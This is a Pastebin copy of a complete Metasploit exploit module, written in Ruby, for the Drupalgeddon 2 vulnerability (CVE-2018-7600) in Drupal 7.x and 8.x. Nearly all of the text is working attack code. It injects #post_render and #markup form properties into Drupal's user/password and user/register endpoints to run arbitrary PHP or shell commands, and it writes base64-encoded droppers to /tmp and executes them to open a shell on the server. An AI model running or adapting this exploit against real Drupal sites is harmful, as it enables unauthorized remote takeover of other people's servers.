Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # Este Modulo requiere Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- # RedBird Seguridad Ofensiva
- # PackStorm
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- # XXX: CmdStager can't handle badchars
- include Msf::Exploit::PhpEXE
- include Msf::Exploit::FileDropper
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
- 'Description' => %q{
- This module exploits a Drupal property injection in the Forms API.
- Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
- },
- 'Author' => [
- 'Jasper Mattsson', # Vulnerability discovery
- 'a2u', # Proof of concept (Drupal 8.x)
- 'Nixawk', # Proof of concept (Drupal 8.x)
- 'FireFart', # Proof of concept (Drupal 7.x)
- 'wvu' # Metasploit module
- ],
- 'References' => [
- ['CVE', '2018-7600'],
- ['URL', 'https://www.drupal.org/sa-core-2018-002'],
- ['URL', 'https://greysec.net/showthread.php?tid=2912'],
- ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
- ['URL', 'https://github.com/a2u/CVE-2018-7600'],
- ['URL', 'https://github.com/nixawk/labs/issues/19'],
- ['URL', 'https://github.com/FireFart/CVE-2018-7600'],
- ['AKA', 'SA-CORE-2018-002'],
- ['AKA', 'Drupalgeddon 2']
- ],
- 'DisclosureDate' => 'Mar 28 2018',
- 'License' => MSF_LICENSE,
- 'Platform' => ['php', 'unix', 'linux'],
- 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
- 'Privileged' => false,
- 'Payload' => {'BadChars' => '&>\''},
- # XXX: Using "x" in Gem::Version::new isn't technically appropriate
- 'Targets' => [
- #
- # Automatic targets (PHP, cmd/unix, native)
- #
- ['Automatic (PHP In-Memory)',
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Type' => :php_memory
- ],
- ['Automatic (PHP Dropper)',
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Type' => :php_dropper
- ],
- ['Automatic (Unix In-Memory)',
- 'Platform' => 'unix',
- 'Arch' => ARCH_CMD,
- 'Type' => :unix_memory
- ],
- ['Automatic (Linux Dropper)',
- 'Platform' => 'linux',
- 'Arch' => [ARCH_X86, ARCH_X64],
- 'Type' => :linux_dropper
- ],
- #
- # Drupal 7.x targets (PHP, cmd/unix, native)
- #
- ['Drupal 7.x (PHP In-Memory)',
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('7.x'),
- 'Type' => :php_memory
- ],
- ['Drupal 7.x (PHP Dropper)',
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('7.x'),
- 'Type' => :php_dropper
- ],
- ['Drupal 7.x (Unix In-Memory)',
- 'Platform' => 'unix',
- 'Arch' => ARCH_CMD,
- 'Version' => Gem::Version.new('7.x'),
- 'Type' => :unix_memory
- ],
- ['Drupal 7.x (Linux Dropper)',
- 'Platform' => 'linux',
- 'Arch' => [ARCH_X86, ARCH_X64],
- 'Version' => Gem::Version.new('7.x'),
- 'Type' => :linux_dropper
- ],
- #
- # Drupal 8.x targets (PHP, cmd/unix, native)
- #
- ['Drupal 8.x (PHP In-Memory)',
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('8.x'),
- 'Type' => :php_memory
- ],
- ['Drupal 8.x (PHP Dropper)',
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('8.x'),
- 'Type' => :php_dropper
- ],
- ['Drupal 8.x (Unix In-Memory)',
- 'Platform' => 'unix',
- 'Arch' => ARCH_CMD,
- 'Version' => Gem::Version.new('8.x'),
- 'Type' => :unix_memory
- ],
- ['Drupal 8.x (Linux Dropper)',
- 'Platform' => 'linux',
- 'Arch' => [ARCH_X86, ARCH_X64],
- 'Version' => Gem::Version.new('8.x'),
- 'Type' => :linux_dropper
- ]
- ],
- 'DefaultTarget' => 0, # Automatic (PHP In-Memory)
- 'DefaultOptions' => {'WfsDelay' => 2}
- ))
- register_options([
- OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
- OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
- OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
- ])
- register_advanced_options([
- OptBool.new('ForceExploit', [false, 'Override check result', false]),
- OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
- ])
- end
- def check
- checkcode = CheckCode::Safe
- if drupal_version
- print_status("Drupal #{@version} targeted at #{full_uri}")
- checkcode = CheckCode::Detected
- else
- print_error('Could not determine Drupal version to target')
- return CheckCode::Unknown
- end
- if drupal_unpatched?
- print_good('Drupal appears unpatched in CHANGELOG.txt')
- checkcode = CheckCode::Appears
- end
- token = random_crap
- res = execute_command(token, func: 'printf')
- if res && res.body.start_with?(token)
- checkcode = CheckCode::Vulnerable
- end
- checkcode
- end
- def exploit
- unless check == CheckCode::Vulnerable || datastore['ForceExploit']
- fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
- end
- if datastore['PAYLOAD'] == 'cmd/unix/generic'
- print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
- # XXX: Naughty datastore modification
- datastore['DUMP_OUTPUT'] = true
- end
- # NOTE: assert() is attempted first, then PHP_FUNC if that fails
- case target['Type']
- when :php_memory
- execute_command(payload.encoded, func: 'assert')
- sleep(wfs_delay)
- return if session_created?
- # XXX: This will spawn a *very* obvious process
- execute_command("php -r '#{payload.encoded}'")
- when :unix_memory
- execute_command(payload.encoded)
- when :php_dropper, :linux_dropper
- dropper_assert
- sleep(wfs_delay)
- return if session_created?
- dropper_exec
- end
- end
- def dropper_assert
- php_file = Pathname.new(
- "#{datastore['WritableDir']}/#{random_crap}.php"
- ).cleanpath
- # Return the PHP payload or a PHP binary dropper
- dropper = get_write_exec_payload(
- writable_path: datastore['WritableDir'],
- unlink_self: true # Worth a shot
- )
- # Encode away potential badchars with Base64
- dropper = Rex::Text.encode_base64(dropper)
- # Stage 1 decodes the PHP and writes it to disk
- stage1 = %Q{
- file_put_contents("#{php_file}", base64_decode("#{dropper}"));
- }
- # Stage 2 executes said PHP in-process
- stage2 = %Q{
- include_once("#{php_file}");
- }
- # :unlink_self may not work, so let's make sure
- register_file_for_cleanup(php_file)
- # Hopefully pop our shell with assert()
- execute_command(stage1.strip, func: 'assert')
- execute_command(stage2.strip, func: 'assert')
- end
- def dropper_exec
- php_file = "#{random_crap}.php"
- tmp_file = Pathname.new(
- "#{datastore['WritableDir']}/#{php_file}"
- ).cleanpath
- # Return the PHP payload or a PHP binary dropper
- dropper = get_write_exec_payload(
- writable_path: datastore['WritableDir'],
- unlink_self: true # Worth a shot
- )
- # Encode away potential badchars with Base64
- dropper = Rex::Text.encode_base64(dropper)
- # :unlink_self may not work, so let's make sure
- register_file_for_cleanup(php_file)
- # Write the payload or dropper to disk (!)
- # NOTE: Analysis indicates > is a badchar for 8.x
- execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
- # Attempt in-process execution of our PHP script
- send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, php_file)
- )
- sleep(wfs_delay)
- return if session_created?
- # Try to get a shell with PHP CLI
- execute_command("php #{php_file}")
- sleep(wfs_delay)
- return if session_created?
- register_file_for_cleanup(tmp_file)
- # Fall back on our temp file
- execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
- execute_command("php #{tmp_file}")
- end
- def execute_command(cmd, opts = {})
- func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
- vprint_status("Executing with #{func}(): #{cmd}")
- res =
- case @version.to_s
- when '7.x'
- exploit_drupal7(func, cmd)
- when '8.x'
- exploit_drupal8(func, cmd)
- end
- if res && res.code != 200
- print_error("Unexpected reply: #{res.inspect}")
- return
- end
- if res && datastore['DUMP_OUTPUT']
- print_line(res.body)
- end
- res
- end
- def drupal_version
- if target['Version']
- @version = target['Version']
- return @version
- end
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => target_uri.path
- )
- return unless res && res.code == 200
- # Check for an X-Generator header
- @version =
- case res.headers['X-Generator']
- when /Drupal 7/
- Gem::Version.new('7.x')
- when /Drupal 8/
- Gem::Version.new('8.x')
- end
- return @version if @version
- # Check for a <meta> tag
- generator = res.get_html_document.at(
- '//meta[@name = "Generator"]/@content'
- )
- return unless generator
- @version =
- case generator.value
- when /Drupal 7/
- Gem::Version.new('7.x')
- when /Drupal 8/
- Gem::Version.new('8.x')
- end
- end
- def drupal_unpatched?
- unpatched = true
- # Check for patch level in CHANGELOG.txt
- uri =
- case @version.to_s
- when '7.x'
- normalize_uri(target_uri.path, 'CHANGELOG.txt')
- when '8.x'
- normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
- end
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => uri
- )
- return unless res && res.code == 200
- if res.body.include?('SA-CORE-2018-002')
- unpatched = false
- end
- unpatched
- end
- def exploit_drupal7(func, code)
- vars_get = {
- 'q' => 'user/password',
- 'name[#post_render][]' => func,
- 'name[#markup]' => code,
- 'name[#type]' => 'markup'
- }
- vars_post = {
- 'form_id' => 'user_pass',
- '_triggering_element_name' => 'name'
- }
- res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => target_uri.path,
- 'vars_get' => vars_get,
- 'vars_post' => vars_post
- )
- return res unless res && res.code == 200
- form_build_id = res.get_html_document.at(
- '//input[@name = "form_build_id"]/@value'
- )
- return res unless form_build_id
- vars_get = {
- 'q' => "file/ajax/name/#value/#{form_build_id.value}"
- }
- vars_post = {
- 'form_build_id' => form_build_id.value
- }
- send_request_cgi(
- 'method' => 'POST',
- 'uri' => target_uri.path,
- 'vars_get' => vars_get,
- 'vars_post' => vars_post
- )
- end
- def exploit_drupal8(func, code)
- # Clean URLs are enabled by default and "can't" be disabled
- uri = normalize_uri(target_uri.path, 'user/register')
- vars_get = {
- 'element_parents' => 'account/mail/#value',
- 'ajax_form' => 1,
- '_wrapper_format' => 'drupal_ajax'
- }
- vars_post = {
- 'form_id' => 'user_register_form',
- '_drupal_ajax' => 1,
- 'mail[#type]' => 'markup',
- 'mail[#post_render][]' => func,
- 'mail[#markup]' => code
- }
- send_request_cgi(
- 'method' => 'POST',
- 'uri' => uri,
- 'vars_get' => vars_get,
- 'vars_post' => vars_post
- )
- end
- def random_crap
- Rex::Text.rand_text_alphanumeric(8..42)
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement